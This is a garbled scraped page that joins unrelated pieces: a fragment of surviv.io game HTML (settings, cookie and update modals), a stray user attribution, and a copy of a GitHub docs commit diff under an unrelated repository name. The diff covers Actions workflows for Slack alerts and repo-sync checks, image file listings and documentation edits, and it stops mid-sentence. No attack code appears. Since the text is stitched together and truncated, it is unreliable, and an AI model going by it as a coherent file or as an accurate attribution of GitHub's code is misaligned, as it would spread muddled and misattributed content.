class="modal-settings-item slider-container main-volume-slider"> <p class='modal-slider-text' data-l10n='index-music-volume'>Music Volume</p> <input type="range" min="0" max="100" value="50" class="slider sl-music-volume" id=""> </div> <div class="modal-settings-item slider-container slider-dpad"> <p class='modal-slider-text' data-l10n='index-sensitivy'>Analog Sensitivity</p> <input type="range" min="0" max="100" value="100" class="slider" id="sensitivity-slider"> </div> <div id='settings-links'> <a href='#' class="btn-cookie-settings footer-after">cookie settings</a> <a href='privacy.html' target="_blank" class="footer-after" data-l10n='index-privacy'>privacy</a> <a href='attribution.txt' target="_blank" class="footer-after" data-l10n='index-attributions'>attributions</a> <a href='hof.html' target="_blank" data-l10n='index-hof'>HOF</a> </div> </div> <div class='modal-footer'></div> </div> </div> <div id='modal-hamburger' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-hamburger icon-hamburger'></span> <h2>&nbsp</h2> </div> <div id='modal-hamburger-body' class='modal-body'> <div id='modal-hamburger-leaderboards'> <a href='/~/https://surviv.io/stats' target='_blank' id="btn-mobile-to-stats" class='btn-leaderboard-stats-link menu-option btn-darken' data-l10n='index-leaderboards'>Leaderboards</a> </div> <div class='modal-divider'></div> <div class='btn-social-wrapper'> <a href='/~/https://facebook.com/surviviogame' target='_blank' class='btn-social btn-darken btn-facebook'></a> <a href='/~/https://twitter.com/survivio' target='_blank' class='btn-social btn-darken btn-twitter'></a> <a href='/~/https://www.instagram.com/surviviogame/' target='_blank' class='btn-social btn-darken btn-instagram'></a> <a href='/~/https://discord.gg/survivio' target='_blank' class='btn-social btn-darken btn-discord'></a> <!-- <a href='/~/https://www.youtube.com/c/survivio?sub_confirmation=1' target='_blank' class='btn-social btn-darken btn-youtube'></a> --> </div> <div class='modal-divider'></div> <div id='modal-hamburger-bottom'> <a href='changelog.html' class="footer-after">ver 0.9.1b</a> <a href='#' class="btn-cookie-settings footer-after">cookie settings</a> <a href='privacy.txt' target="_blank" class="footer-after">privacy</a> <a href='attribution.txt' target="_blank">attributions</a> </div> </div> </div> </div> <div id='modal-notification' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2>Alert</h2> </div> <div class='modal-body'> <p class='modal-body-text'></p> </div> <div class='modal-footer modal-footer-round'> <h3 class='close close-footer'>OK</h3> </div> </div> </div> <div id='modal-refresh' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2>New Update</h2> </div> <div class='modal-body'> <p class='modal-body-text'>A new version of surviv.io is available!<br><br>Press "OK" below to reload the page.</p> </div> <div class='modal-footer modal-footer-round'> <h3 id='force-refresh' class='close close-footer'>OK</h3> </div> </div> </div> <div id='modal-create-account' class='modal modal-account'> <div class='modal-content modal-close'> <div class='modal-header modal-header-name'> <span class='close-loadouts close close-corner'></span> <h2 id='modal-account-name-title' data-l10n='index-log-in-desc'>Log In / Create Account</h2> </div> <div class='modal-body modal-body-name'> <p class='modal-body-text' data-l10n='index-create-account-prompt-1'>Log in to access this feature!</p> <div class='login-options-content'></div> </div> <div class='modal-footer modal-footer-name modal-footer-round'> <h3 class='close close-footer' data-l10n='index-cancel'>Cancel</h3> </div> </div> </div> <div id='modal-screen-block'> <div id='modal-item-confirm' class='modal'> <div class='modal-content modal-close'> <div class='modal-header modal-header-name'> <h2 id='modal-account-name-title'>You got a new item!</h2> </div> <div class='modal-body modal-body-name'> <div id='modal-item-confirm-image-outer'> <div id='modal-item-confirm-image-inner'></div> </div> <div class='modal-settings-item'> <p id='modal-item-confirm-name' class='modal-body-text'></p> </div> </div> <div class='modal-footer modal-footer-name modal-footer-round'> <h3 class='close close-footer' data-l10n='index-confirm'>Confirm</h3> </div> </div> </div> </div> <div id='modal-cookie-settings' class='modal'> <div class='modal-content modal-close'> <div class='modal-header'> <span class='close close-corner'></span> <h2>Cookie Settings</h2> </div> <div class='modal-body'> <p class='modal-body-text'>We use cookies to personalize content and ads, to provide social media features, and to analyze our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website. Click <a href='#' id='btn-cookie-opt-out' class='close'>here</a> to opt out of using cookies.</p> </div> <div class='modal-footer modal-footer-round'> <h3 class='close close-footer'><div class='btn-cookies-close btn-darken'>Got it!</div></h3> </div> </div> </div> </div> <script type="text/javascript" src="js/manifest.8e62061f.js"></script><script type="text/javascript" src="js/vendor.bd007df0.js"></script><script type="text/javascript" src="js/app.55f8f3a9.

    From user ronald106

  • sfedfcv / redesigned-pancake

    names.io, Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. BIN +27.6 KB assets/images/help/classroom/assignment-repository-ide-button-in-readme.png Binary file not shown. BIN +83.4 KB assets/images/help/classroom/assignments-assign-deadline.png Binary file not shown. BIN +32.4 KB assets/images/help/classroom/assignments-assignment-title.png Binary file not shown. BIN +27.7 KB assets/images/help/classroom/assignments-autograding-click-pencil-or-trash.png Binary file not shown. BIN +72 KB assets/images/help/classroom/assignments-choose-repository-visibility.png Binary file not shown. BIN +20.1 KB assets/images/help/classroom/assignments-click-continue-button.png Binary file not shown. BIN +23.7 KB assets/images/help/classroom/assignments-click-create-assignment-button.png Binary file not shown. BIN +76.4 KB assets/images/help/classroom/assignments-click-grading-and-feedback.png Binary file not shown. BIN +53.1 KB assets/images/help/classroom/assignments-click-new-assignment-button.png Binary file not shown. BIN +134 KB assets/images/help/classroom/assignments-click-online-ide.png Binary file not shown. BIN +77.8 KB assets/images/help/classroom/assignments-click-pencil.png Binary file not shown. BIN +18.8 KB assets/images/help/classroom/assignments-click-review-button.png Binary file not shown. BIN +20.6 KB assets/images/help/classroom/assignments-click-save-test-case-button.png Binary file not shown. BIN +121 KB assets/images/help/classroom/assignments-click-template-repository-in-list.png Binary file not shown. BIN +21.1 KB assets/images/help/classroom/assignments-click-update-assignment.png Binary file not shown. BIN +76.9 KB assets/images/help/classroom/assignments-click-view-ide.png Binary file not shown. BIN +96.5 KB assets/images/help/classroom/assignments-click-view-test.png Binary file not shown. BIN +71.3 KB assets/images/help/classroom/assignments-define-teams.png Binary file not shown. BIN +39.4 KB assets/images/help/classroom/assignments-enable-feedback-pull-requests.png Binary file not shown. BIN +40.4 KB assets/images/help/classroom/assignments-type-protected-file-paths.png Binary file not shown. BIN +330 KB assets/images/help/classroom/autograding-actions-logs.png Binary file not shown. BIN +187 KB assets/images/help/classroom/autograding-actions-tab.png Binary file not shown. BIN +94.9 KB assets/images/help/classroom/autograding-click-grading-method.png Diff not rendered. BIN +57.5 KB assets/images/help/classroom/autograding-click-pencil.png Diff not rendered. BIN +57.7 KB assets/images/help/classroom/autograding-click-trash.png Diff not rendered. BIN +168 KB assets/images/help/classroom/autograding-hero.png Diff not rendered. BIN +154 KB assets/images/help/classroom/classroom-add-students-to-your-roster.png Diff not rendered. BIN +166 KB assets/images/help/classroom/classroom-copy-credentials.png Diff not rendered. BIN +181 KB assets/images/help/classroom/classroom-hero.png Diff not rendered. BIN +48.3 KB assets/images/help/classroom/classroom-settings-click-connection-settings.png Diff not rendered. BIN +94 KB ...ges/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png Diff not rendered. BIN +148 KB assets/images/help/classroom/classroom-settings-click-lms.png Diff not rendered. BIN +149 KB assets/images/help/classroom/click-assignment-in-list.png Diff not rendered. BIN +52.3 KB assets/images/help/classroom/click-classroom-in-list.png Diff not rendered. BIN +49.5 KB assets/images/help/classroom/click-create-classroom-button.png Diff not rendered. BIN +30 KB assets/images/help/classroom/click-create-roster-button.png Diff not rendered. BIN +78.2 KB assets/images/help/classroom/click-delete-classroom-button.png Diff not rendered. BIN +60.8 KB ...images/help/classroom/click-import-from-a-learning-management-system-button.png Diff not rendered. BIN +51.9 KB assets/images/help/classroom/click-new-classroom-button.png Diff not rendered. BIN +83.4 KB assets/images/help/classroom/click-organization.png Diff not rendered. BIN +28.4 KB assets/images/help/classroom/click-settings.png Diff not rendered. BIN +29.7 KB assets/images/help/classroom/click-students.png Diff not rendered. BIN +60 KB assets/images/help/classroom/click-update-students-button.png Diff not rendered. BIN +127 KB assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png Diff not rendered. BIN +104 KB assets/images/help/classroom/delete-classroom-modal-with-warning.png Diff not rendered. BIN +264 KB assets/images/help/classroom/ide-makecode-arcade-version-control-button.png Diff not rendered. BIN +69.4 KB assets/images/help/classroom/ide-replit-version-control-button.png Diff not rendered. BIN +234 KB assets/images/help/classroom/lms-github-classroom-credentials.png Diff not rendered. BIN +955 KB assets/images/help/classroom/probot-settings.gif Diff not rendered. BIN +113 KB assets/images/help/classroom/roster-hero.png Diff not rendered. BIN +40.4 KB assets/images/help/classroom/settings-click-rename-classroom-button.png Diff not rendered. BIN +41 KB assets/images/help/classroom/settings-type-classroom-name.png Diff not rendered. BIN +140 KB assets/images/help/classroom/setup-click-authorize-github-classroom.png Diff not rendered. BIN +102 KB assets/images/help/classroom/setup-click-authorize-github.png Diff not rendered. BIN +163 KB assets/images/help/classroom/setup-click-grant.png Diff not rendered. BIN +324 KB assets/images/help/classroom/students-click-delete-roster-button-in-modal.png Diff not rendered. BIN +91.1 KB assets/images/help/classroom/students-click-delete-roster-button.png Diff not rendered. BIN +48.2 KB assets/images/help/classroom/type-classroom-name.png Diff not rendered. BIN +174 KB assets/images/help/classroom/type-or-upload-student-identifiers.png Diff not rendered. BIN +83.3 KB assets/images/help/classroom/use-drop-down-then-click-archive.png Diff not rendered. BIN +45.2 KB assets/images/help/classroom/use-drop-down-then-click-unarchive.png Diff not rendered. BIN +55.4 KB assets/images/help/discussions/choose-new-category.png Diff not rendered. BIN +56.8 KB assets/images/help/discussions/click-delete-and-move-button.png Diff not rendered. BIN +59.7 KB assets/images/help/discussions/click-delete-discussion.png Diff not rendered. BIN +65.3 KB assets/images/help/discussions/click-delete-for-category.png Diff not rendered. BIN +68.9 KB assets/images/help/discussions/click-delete-this-discussion-button.png Diff not rendered. BIN +353 KB assets/images/help/discussions/click-discussion-in-list.png Diff not rendered. BIN +41 KB assets/images/help/discussions/click-edit-categories.png Diff not rendered. BIN +64.3 KB assets/images/help/discussions/click-edit-for-category.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-edit-pinned-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-new-category-button.png Diff not rendered. BIN +98.2 KB assets/images/help/discussions/click-pin-discussion-button.png Diff not rendered. BIN +55.7 KB assets/images/help/discussions/click-pin-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-save.png Diff not rendered. BIN +59.9 KB assets/images/help/discussions/click-transfer-discussion-button.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-transfer-discussion.png Diff not rendered. BIN +63.3 KB assets/images/help/discussions/click-unpin-discussion-button.png Diff not rendered. BIN +59.8 KB assets/images/help/discussions/click-unpin-discussion.png Diff not rendered. BIN +140 KB assets/images/help/discussions/comment-mark-as-answer-button.png Diff not rendered. BIN +136 KB assets/images/help/discussions/comment-marked-as-answer.png Diff not rendered. BIN +234 KB assets/images/help/discussions/customize-pinned-discussion.png Diff not rendered. BIN +1.21 MB assets/images/help/discussions/discussons-hero.png Diff not rendered. BIN +139 KB assets/images/help/discussions/edit-category-details.png Diff not rendered. BIN +136 KB assets/images/help/discussions/edit-existing-category-details.png Diff not rendered. BIN +55.5 KB assets/images/help/discussions/existing-category-click-save-changes-button.png Diff not rendered. BIN +680 KB assets/images/help/discussions/hero.png Diff not rendered. BIN +307 KB assets/images/help/discussions/most-helpful.png Diff not rendered. BIN +52.9 KB assets/images/help/discussions/new-category-click-create-button.png Diff not rendered. BIN +132 KB assets/images/help/discussions/new-discussion-button.png Diff not rendered. BIN +140 KB assets/images/help/discussions/new-discussion-select-category-dropdown-menu.png Diff not rendered. BIN +46.7 KB assets/images/help/discussions/new-discussion-start-discussion-button.png Diff not rendered. BIN +108 KB assets/images/help/discussions/new-discussion-title-and-body-fields.png Diff not rendered. BIN +23.1 KB assets/images/help/discussions/public-repo-settings.png Diff not rendered. BIN +49.5 KB assets/images/help/discussions/repository-discussions-tab.png Diff not rendered. BIN +51.8 KB assets/images/help/discussions/search-and-filter-controls.png Diff not rendered. BIN +44.4 KB assets/images/help/discussions/search-result.png Diff not rendered. BIN +35.4 KB assets/images/help/discussions/select-discussions-checkbox.png Diff not rendered. BIN +44.8 KB assets/images/help/discussions/setup-discussions-button.png Diff not rendered. BIN +95.9 KB assets/images/help/discussions/toggle-allow-users-with-read-access-checkbox.png Diff not rendered. BIN +73 KB assets/images/help/discussions/unanswered-discussion.png Diff not rendered. BIN +81.3 KB assets/images/help/discussions/use-choose-a-repository-drop-down.png Diff not rendered. BIN +30.3 KB assets/images/help/discussions/your-discussions.png Diff not rendered. BIN +563 KB assets/images/help/education/click-get-teacher-benefits.png Diff not rendered. BIN +116 KB assets/images/help/images/overview-actions-result-navigate.png Diff not rendered. BIN +150 KB assets/images/help/images/overview-actions-result-updated-2.png Diff not rendered. BIN +128 KB assets/images/help/images/workflow-graph-job.png Diff not rendered. BIN +135 KB assets/images/help/images/workflow-graph.png Diff not rendered. BIN +5.46 KB assets/images/help/organizations/update-profile-button.png Diff not rendered. BIN +44.6 KB assets/images/help/pull_requests/dependency-review-rich-diff.png Diff not rendered. BIN +24.6 KB assets/images/help/pull_requests/dependency-review-source-diff.png Diff not rendered. BIN +214 KB assets/images/help/pull_requests/dependency-review-vulnerability.png Diff not rendered. BIN +105 KB assets/images/help/pull_requests/file-filter-menu-json.png Diff not rendered. BIN +22.5 KB (510%) assets/images/help/pull_requests/pull-request-tabs-changed-files.png Diff not rendered. BIN +45.2 KB assets/images/help/repository/actions-delete-artifact-updated.png Diff not rendered. BIN +122 KB assets/images/help/repository/actions-failed-pester-test-updated.png Diff not rendered. BIN +45.4 KB assets/images/help/repository/artifact-drop-down-updated.png Diff not rendered. BIN +54.5 KB assets/images/help/repository/cancel-check-suite-updated.png Diff not rendered. BIN +120 KB assets/images/help/repository/copy-link-button-updated-2.png Diff not rendered. BIN +77.6 KB assets/images/help/repository/delete-all-logs-updated-2.png Diff not rendered. BIN +326 KB assets/images/help/repository/docker-action-workflow-run-updated.png Diff not rendered. BIN +84.6 KB assets/images/help/repository/download-logs-drop-down-updated-2.png Diff not rendered. BIN +170 KB assets/images/help/repository/in-progress-run.png Diff not rendered. BIN +124 KB assets/images/help/repository/javascript-action-workflow-run-updated-2.png Diff not rendered. BIN +116 KB assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png Diff not rendered. BIN +80.8 KB assets/images/help/repository/rerun-checks-drop-down-updated.png Diff not rendered. BIN +41.2 KB assets/images/help/repository/search-log-box-updated-2.png Diff not rendered. BIN +133 KB assets/images/help/repository/super-linter-workflow-results-updated-2.png Diff not rendered. BIN +97.5 KB assets/images/help/repository/superlinter-lint-code-base-job-updated.png Diff not rendered. BIN -128 KB assets/images/help/repository/upload-build-test-artifact.png Diff not rendered. BIN +27.5 KB (170%) assets/images/help/repository/view-run-billable-time.png Diff not rendered. BIN +54.8 KB assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png Diff not rendered. BIN +7.54 KB assets/images/help/settings/appearance-tab.png Diff not rendered. BIN +39.7 KB assets/images/help/settings/theme-settings-radio-buttons.png Diff not rendered. BIN +11.1 KB assets/images/help/settings/update-theme-preference-button.png Diff not rendered. BIN +22.5 KB assets/images/help/sponsors/billing-account-switcher.png Diff not rendered. BIN +6.37 KB (150%) assets/images/help/sponsors/edit-sponsorship-payment-button.png Diff not rendered. BIN +34.8 KB assets/images/help/sponsors/link-account-button.png Diff not rendered. BIN +12.8 KB (170%) assets/images/help/sponsors/manage-your-sponsorship-button.png Diff not rendered. BIN +20.6 KB assets/images/help/sponsors/organization-update-email-textbox.png Diff not rendered. BIN +13.5 KB assets/images/help/sponsors/pay-prorated-amount-link.png Diff not rendered. BIN +34.7 KB assets/images/help/sponsors/select-an-account-drop-down.png Diff not rendered. BIN +17 KB assets/images/help/sponsors/sponsor-as-drop-down-menu.png Diff not rendered. BIN +15.8 KB assets/images/help/sponsors/sponsoring-as-drop-down-menu.png Diff not rendered. BIN +16.1 KB assets/images/help/sponsors/sponsoring-settings-button.png Diff not rendered. BIN +29.5 KB assets/images/help/sponsors/sponsoring-tab.png Diff not rendered. BIN +7.91 KB assets/images/help/sponsors/update-checkbox-manage.png Diff not rendered. BIN +43 KB (160%) assets/images/marketplace/marketplace-request-button.png Diff not rendered. BIN +53.6 KB assets/images/marketplace/marketplace_verified_creator_badges_apps.png Diff not rendered. 6 content/actions/creating-actions/creating-a-docker-container-action.md @@ -226,6 +226,10 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run-updated.png) {% else %} ![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run.png) {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png) {% elsif currentVersion ver_gt "[email protected]" %} ![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated.png) {% else %} ![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run.png) 4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down-updated.png) {% else %} ![Download artifact drop-down menu](/assets/images/help/repository/artifact-drop-down.png) {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "[email protected]" %} ![Failed Pester test](/assets/images/help/repository/actions-failed-pester-test-updated.png) {% else %} ![Failed Pester test](/assets/images/help/repository/actions-failed-pester-test.png) {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to 